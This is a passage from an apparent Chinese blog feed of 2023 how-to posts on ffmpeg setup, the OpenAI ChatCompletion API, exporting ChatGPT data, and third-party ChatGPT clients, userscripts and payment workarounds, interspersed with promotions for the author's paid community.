&lt;p&gt;&lt;img alt="image-20230510162211546" src="../../images/image-20230510162211546.png"&gt;&lt;/p&gt;
&lt;p&gt;新建&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510162245305" src="../../images/image-20230510162245305.png"&gt;&lt;/p&gt;
&lt;p&gt;将ffmge的路径添加到Path。&lt;/p&gt;
&lt;h3&gt;测试是否添加成功&lt;/h3&gt;
&lt;p&gt;命令行（Win+R）输入&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;fmpeg -version
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="思考"/><category term="ffmpeg"/></entry><entry><title>OpenAI接口介绍- ChatCompletion</title><link href="https://foofish.net/openai-chat-completion.html" rel="alternate"/><published>2023-05-10T00:24:01+08:00</published><updated>2023-05-10T00:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-05-10:/openai-chat-completion.html</id><summary type="html">&lt;p&gt;ChatCompletion是OpenAI中最核心的一个接口，顾名思义，你可以利用该接口构建自己的应用，用在与AI有交互的场景，例如聊天机器人、智能客服等，该接口具有连续对话的能力，因为 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;ChatCompletion是OpenAI中最核心的一个接口，顾名思义，你可以利用该接口构建自己的应用，用在与AI有交互的场景，例如聊天机器人、智能客服等，该接口具有连续对话的能力，因为它可以携带上下文信息。&lt;/p&gt;
&lt;h3&gt;接口&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;https://api.openai.com/v1/chat/completions  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;请求参数&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;参数名&lt;/th&gt;
&lt;th style="text-align: left;"&gt;必选&lt;/th&gt;
&lt;th style="text-align: left;"&gt;类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;model&lt;/td&gt;
&lt;td style="text-align: left;"&gt;是&lt;/td&gt;
&lt;td style="text-align: left;"&gt;string&lt;/td&gt;
&lt;td&gt;支持的模型为：gpt-4,  gpt-3.5-turbo, gpt-3.5-turbo-0301&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;messages&lt;/td&gt;
&lt;td style="text-align: left;"&gt;是&lt;/td&gt;
&lt;td style="text-align: left;"&gt;array&lt;/td&gt;
&lt;td&gt;字典组成的列表对象&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;temperature&lt;/td&gt;
&lt;td style="text-align: left;"&gt;否&lt;/td&gt;
&lt;td style="text-align: left;"&gt;float&lt;/td&gt;
&lt;td&gt;采样温度，随机因子，控制输出结果的随机性，介于0到2之间，值越大随机性越高，默认为1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;max_tokens&lt;/td&gt;
&lt;td style="text-align: left;"&gt;否&lt;/td&gt;
&lt;td style="text-align: left;"&gt;integer&lt;/td&gt;
&lt;td&gt;指定返回结果的token最大长度，默认是最大值，不同模型的最大token数不一样，例如gpt-3.5的最大长度支持4096&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;messages  是一个数组，数组中的元素是一个字典对象，包含两个必选字段，分别是role和content&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;参数名&lt;/th&gt;
&lt;th style="text-align: left;"&gt;必选&lt;/th&gt;
&lt;th style="text-align: left;"&gt;类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;role&lt;/td&gt;
&lt;td style="text-align: left;"&gt;是&lt;/td&gt;
&lt;td style="text-align: left;"&gt;string&lt;/td&gt;
&lt;td&gt;该条消息由哪个角色生成，可选值：system, user, assistant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;content&lt;/td&gt;
&lt;td style="text-align: left;"&gt;是&lt;/td&gt;
&lt;td style="text-align: left;"&gt;string&lt;/td&gt;
&lt;td&gt;该条消息对应的内容&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;为什么messages要作为一个数组参数传递呢？&lt;/p&gt;
&lt;p&gt;因为我们实现多轮对话时，必须把上一轮的对话内容传递给模型，模型才知道如何联系上下文来生成更精确的内容。&lt;/p&gt;
&lt;h3&gt;角色&lt;/h3&gt;
&lt;p&gt;message中每个元素必须指定一个角色，用来告诉该消息是谁生成的，目前该接口预设了3个值，分别是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;system:系统角色  ，用来设置机器人的行为&lt;/li&gt;
&lt;li&gt;user：用户角色，和AI对话的用户&lt;/li&gt;
&lt;li&gt;assistant：助理角色，AI机器人&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通常每次对话以一条系统消息作为开始（系统消息也可以不指定），然后用户消息和助理消息交替&lt;/p&gt;
&lt;p&gt;Python代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ChatCompletion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;gpt-3.5-turbo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;system&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;你是一个上知天文下知地理的百晓生&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;user&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;中国首都在哪里&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;assistant&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot; 中国的首都是北京。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;user&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;人口是多少？&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="n"&gt;temperature&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;助理消息是上一轮对话AI生成的内容，提取出来后作为下一轮的消息内容发送给AI，这样就可以实现多轮对话联系上下文语境生成内容。&lt;/p&gt;
&lt;h3&gt;响应内容&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;choices&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;finish_reason&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;stop&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;index&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;message&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;根据2020年的统计数据，北京市的常住人口为2171.6万人。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;assistant&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;created&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1683639817&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;chatcmpl-7EHuru5wKKpZ2CsEfjVa2z11DzqhJ&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;model&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;gpt-3.5-turbo-0301&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;object&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;chat.completion&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;usage&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;completion_tokens&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;prompt_tokens&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;486&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;total_tokens&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;513&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;助理回复的内容可以从&lt;code&gt;response['choices'][0]['message']['content']&lt;/code&gt;提取。&lt;/p&gt;
&lt;p&gt;完整文档：https://platform.openai.com/docs/guides/chat/introduction&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>如何导出ChatGPT聊天记录</title><link href="https://foofish.net/export-chatgpt-data.html" rel="alternate"/><published>2023-05-08T01:24:01+08:00</published><updated>2023-05-08T01:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-05-08:/export-chatgpt-data.html</id><summary type="html">&lt;p&gt;为防止ChatGPT账号突然被封，数据全没的问题，建议你每隔断时间将聊天数据导出来。OpenAI官网提供了数据导出的服务。具体操作流程&lt;/p&gt;
&lt;p&gt;打开左下角三个点后，选择【Settings】 &lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230508005758263" src="../../images/image-20230508005758263.png"&gt;&lt;/p&gt;
&lt;p&gt;选择 【Data controls …&lt;/p&gt;</summary><content type="html">&lt;p&gt;为防止ChatGPT账号突然被封，数据全没的问题，建议你每隔断时间将聊天数据导出来。OpenAI官网提供了数据导出的服务。具体操作流程&lt;/p&gt;
&lt;p&gt;打开左下角三个点后，选择【Settings】 &lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230508005758263" src="../../images/image-20230508005758263.png"&gt;&lt;/p&gt;
&lt;p&gt;选择 【Data controls】，直接点【Export】&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230508005830087" src="../../images/image-20230508005830087.png"&gt;&lt;/p&gt;
&lt;p&gt;确认后，数据将压缩后以邮件形式发送到邮箱账号中， 下载打开zip压缩文件后，就是一个HTML文件。 &lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230508005936585" src="../../images/image-20230508005936585.png"&gt;&lt;/p&gt;
&lt;p&gt;直接用浏览器打开chat.html文件，就能看到导出的聊天数据&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230508010708111" src="../../images/image-20230508010708111.png"&gt;&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT工具开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>免费使用GPT3、GPT4、Claude的平台：Poe</title><link href="https://foofish.net/Poe.html" rel="alternate"/><published>2023-05-04T18:24:01+08:00</published><updated>2023-05-04T18:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-05-04:/Poe.html</id><summary type="html">&lt;p&gt;Poe 是由 Quora（与知乎类似的一个国外问答社区）开发的一款AI工具，它的核心功能是聚合了ChatGPT和Claude这两款产品，用户可以在上面任意切换聊天机器 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Poe 是由 Quora（与知乎类似的一个国外问答社区）开发的一款AI工具，它的核心功能是聚合了ChatGPT和Claude这两款产品，用户可以在上面任意切换聊天机器人进行提问。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230504152944743" src="../../images/image-20230504152944743.png"&gt;&lt;/p&gt;
&lt;p&gt;注册Poe账号很简单，用邮箱或者手机号就可以完成注册，或者使用Google账号授权登录，能访问外网就行，对网络节点没有太多要求，大大降低了使用ChatGPT的门槛。毕竟一个普通GPT账号市面上购买也得三四十。&lt;/p&gt;
&lt;p&gt;目前Poe聚合了多款AI聊天机器人，有Sage、 ChatGPT、Claude+、Claude-instant、NeevaAI、Dragonfly，Sage和ChatGPT使用gpt-3.5-turbo模型，Dragonfly使用 text-davinci-003，无限制免费试用 。GPT-4和Claude+是付费功能。GPT-4每天可免费试用一次，Claude+每天可免费试用3次。 &lt;/p&gt;
&lt;p&gt;不同机器人有不同的特点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sage和ChatGPT在英语以外的语言方面表现更好，而且在与编程相关的任务上更出色。&lt;/li&gt;
&lt;li&gt;GPT-4是目前世界上最强大的语言模型。它特别擅长创意写作、问题解决（例如数学和物理）和指令遵循。&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Claude-instant 在许多创意写作任务上表现更好，往往会给出更长、更深入的答案。与Claude相比，Claude-instant更快，而且在非英语语言方面显著更出色。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Claude+在复杂和困难的任务上比Claude-instant要好得多。与Claude-Instant类似，它在创意写作和提供详细回答方面特别强。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;NeevaAI在回答中引用来源并包含最新的信息。这是从互联网搜索中获得综合答案的更简单的方法。请注意，它与Poe上的其他机器人不同，因为它不支持多次来回交流或创意写作。它非常适合提供有来源的、最新、易于理解的答案。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dragonfly往往回答更短，当输入的例子更多时，更容易让Dragonfly遵循指示。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;除此之外，你还可以自定义机器人。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230504182223609" src="../../images/image-20230504182223609.png"&gt;&lt;/p&gt;
&lt;p&gt;订阅价格大约是22美元一个月，可以同时使用GPT-4（600次）和Claude+（1000次），关键是它支持国内银行卡。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230504124456422" src="../../images/image-20230504124456422.png"&gt;&lt;/p&gt;
&lt;p&gt;Poe现在提供了Web和iOS两个端，体验地址：https://poe.com/&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT开发教程，现在加入还可获取的一个ChatGPT独立账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>推荐一个ChatGPT桌面客户端：Chatbox</title><link href="https://foofish.net/chatbox.html" rel="alternate"/><published>2023-05-04T14:24:01+08:00</published><updated>2023-05-04T14:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-05-04:/chatbox.html</id><summary type="html">&lt;p&gt;网页版ChatGPT是不是经常遇到无法登录，或者好不容易登上去了却收不到回答，哪怕你是尊贵的Plus用户也会有报错的情况。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230423155634946" src="../../images/image-20230423155634946.png"&gt;&lt;/p&gt;
&lt;p&gt;一般来说，通过调API出现这类问题概率低很多，刚好发现了一个免费开源的ChatGPT桌面客户端Chatbox，支 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;网页版ChatGPT是不是经常遇到无法登录，或者好不容易登上去了却收不到回答，哪怕你是尊贵的Plus用户也会有报错的情况。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230423155634946" src="../../images/image-20230423155634946.png"&gt;&lt;/p&gt;
&lt;p&gt;一般来说，通过调API出现这类问题概率低很多，刚好发现了一个免费开源的ChatGPT桌面客户端Chatbox，支持Windows、Mac和Linux多平台，用起来很丝滑&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230423155215248" src="../../images/image-20230423155215248.png"&gt;&lt;/p&gt;
&lt;p&gt;只需要配置Key就可以使用&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230423160146324" src="../../images/image-20230423160146324.png"&gt;&lt;/p&gt;
&lt;p&gt;特点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;更自由、更强大的 Prompt 能力&lt;/li&gt;
&lt;li&gt;数据存储在本地，不会丢失&lt;/li&gt;
&lt;li&gt;支持 GPT-4 和其他模型&lt;/li&gt;
&lt;li&gt;支持自定义域名代理&lt;/li&gt;
&lt;li&gt;更多功能：Markdown、消息引用、字数与token估算、夜间模式……&lt;/li&gt;
&lt;li&gt;符合人体工程学的 UI 设计&lt;/li&gt;
&lt;li&gt;提供安装包，无需部署&lt;/li&gt;
&lt;li&gt;免费，开源&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不过需要注意的几点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;客户端依然要具备科学上网的环境，因为他是直接调chatgpt官方API。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;没次问答会消耗API额度，因为需要自己指定key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;虽然支持GPT-4模型，但是否可用取决于你的GPT账号是否拿到了GPT4的API能力&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可配置代理域名，这个功能估计用处不大，普通人也用不上，懂开发的可以配置代理域名来做转发，这样就不需要魔法工具也能用了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;所有数据保存在本地不丢失，这比用其他第三方工具好，起码数据保存在自己电脑上，不担心数据丢失也不担心数据隐私问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;作者未来还规划了很多功能，包括安卓和iOS客户端。&lt;/p&gt;
&lt;p&gt;项目地址：https://github.com/Bin-Huang/chatbox/blob/main/README-CN.md&lt;/p&gt;
&lt;p&gt;苹果和Windows安装包下载地址可以在公众号【Python之禅】回复 chatbox 获取&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>如何不提供账号密码找人代充ChatGPT Plus</title><link href="https://foofish.net/chatgpt-upgrade-plus-without-passwd.html" rel="alternate"/><published>2023-04-29T09:24:01+08:00</published><updated>2023-04-29T09:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-29:/chatgpt-upgrade-plus-without-passwd.html</id><summary type="html">&lt;p&gt;自己升级Plus巨麻烦，没有国外信用卡，不想购买成品号，我只想用自己的账号升级Plus，而且不想把账号密码透露给别人？该怎么做？&lt;/p&gt;
&lt;p&gt;简 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;自己升级Plus巨麻烦，没有国外信用卡，不想购买成品号，我只想用自己的账号升级Plus，而且不想把账号密码透露给别人？该怎么做？&lt;/p&gt;
&lt;p&gt;简单，你只要把支付链接发给代充的人就可以。&lt;/p&gt;
&lt;p&gt;登录ChatGPT账号后，点击左侧 Upgrade to Plus&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230428095104377" src="../../images/image-20230428095104377.png"&gt;&lt;/p&gt;
&lt;p&gt;点击绿色按钮 Upgrade plan&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230428095135411" src="../../images/image-20230428095135411.png"&gt;&lt;/p&gt;
&lt;p&gt;跳转到支付页面&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230428101214935" src="../../images/image-20230428101214935.png"&gt;&lt;/p&gt;
&lt;p&gt;复制新打开的页面链接地址，将该链接发送给帮你代充的人即可。 如果你有代充需求可加我微信（go2071)&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT工具开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>如何解决ChatGPT 的 Something went wrong 错误</title><link href="https://foofish.net/chatgpt-something-went-wrong.html" rel="alternate"/><published>2023-04-27T00:24:01+08:00</published><updated>2023-04-27T00:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-27:/chatgpt-something-went-wrong.html</id><summary type="html">&lt;p&gt;ChatGPT经常用着用着就出现 Something went wrong 错误，不管是普通账号还是Plus账号，不管是切换到哪个节点，没聊两次就报这个错，或者隔断时间没用重新回来也报这 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;ChatGPT经常用着用着就出现 Something went wrong 错误，不管是普通账号还是Plus账号，不管是切换到哪个节点，没聊两次就报这个错，或者隔断时间没用重新回来也报这个错。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230427003249548" src="../../images/image-20230427003249548.png"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Something went wrong. If this issue persists please contact us through our help center at help.openai.com.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20230427000529472" src="../../images/image-20230427000529472.png"&gt;&lt;/p&gt;
&lt;h4&gt;解决方案&lt;/h4&gt;
&lt;p&gt;可以用一个浏览器插件来解决这个问题，这个插件叫KeepChatGPT，它可以让你畅聊无阻，不刷新网页解决网络报错问题。&lt;/p&gt;
&lt;p&gt;它的实现原理是这样的，ChatGPT使用Cloudflare提供的服务做了一些反爬虫机制，而这个插件就是利用Headless技术绕开Cloudflare的爬虫验证，利用non-click绕过Cloudflare的机器人验证。&lt;/p&gt;
&lt;h4&gt;安装&lt;/h4&gt;
&lt;p&gt;1、安装&lt;code&gt;Tampermonkey&lt;/code&gt;浏览器扩展插件，地址：https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230427001814511" src="../../images/image-20230427001814511.png"&gt;&lt;/p&gt;
&lt;p&gt;2、安装KeepChatGPT脚本，直接在浏览器打开链接： https://raw.githubusercontent.com/xcanwin/KeepChatGPT/main/KeepChatGPT.user.js&lt;/p&gt;
&lt;p&gt;弹出下面的页面后，点击安装即可&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230427002055685" src="../../images/image-20230427002055685.png"&gt;&lt;/p&gt;
&lt;p&gt;回到openai网站，左上角有KeepChatGPT模块就表示安装成功了，你可以根据自己的喜好做些配置调整，鼠标放上去，提供了包括主题、调试以及页面静默刷新的间隔时间等功能。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230427002906101" src="../../images/image-20230427002906101.png"&gt;&lt;/p&gt;
&lt;p&gt;现在就可以尽情的使用ChatGPT了。&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT工具开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>如何获取chatgpt的key？</title><link href="https://foofish.net/create-chatgpt-key.html" rel="alternate"/><published>2023-04-26T14:24:01+08:00</published><updated>2023-04-26T14:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-26:/create-chatgpt-key.html</id><summary type="html">&lt;p&gt;这个问题最近被多次问到，写个教程&lt;/p&gt;
&lt;p&gt;什么是ChatGPT API key？&lt;/p&gt;
